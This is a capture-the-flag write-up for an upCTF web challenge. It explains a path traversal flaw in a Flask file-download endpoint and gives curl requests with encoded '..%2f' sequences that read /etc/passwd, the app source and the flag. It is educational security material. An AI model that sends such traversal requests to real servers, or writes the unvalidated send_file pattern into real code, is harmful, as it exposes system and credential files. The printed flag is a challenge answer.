Photo by Ilya Pavlov / Unsplash

Writeup: Microsoft Axel - upCTF (Web)

Feri Harjulianto

Overview

GhostDrop is a Flask web application that lets users fetch files from URLs using the axel download accelerator and later download them. The app has two main endpoints:

  • POST /fetch - Takes a URL, runs axel to download the file into /app/files/
  • GET /download/<path:filename> - Serves files from /app/files/ using send_file()

Vulnerability

The /download/<path:filename> endpoint is vulnerable to path traversal. The relevant code:

@app.get("/download/<path:filename>")
def download(filename: str):
    target = FILES_DIR / filename
    return send_file(target, as_attachment=True)

There is no validation that the resolved path stays within FILES_DIR. Flask normalizes literal ../ in URLs, but URL-encoded slashes (%2f) bypass this normalization, allowing traversal outside the intended directory.

Exploitation

  1. Discovered the path traversal by requesting /etc/passwd:
curl -s http://46.225.117.62:30002/download/..%2f..%2fetc%2fpasswd
  1. Read the application source to understand the structure:
curl -s http://46.225.117.62:30002/download/..%2f..%2fapp%2fapp.py
  1. Retrieved the flag from /flag.txt:
curl -s http://46.225.117.62:30002/download/..%2f..%2fflag.txt

Output: upCTF{4x3l_0d4y_w1th4_tw1st-4Hn2fyd7fbc993c0}

CTFWebWriteup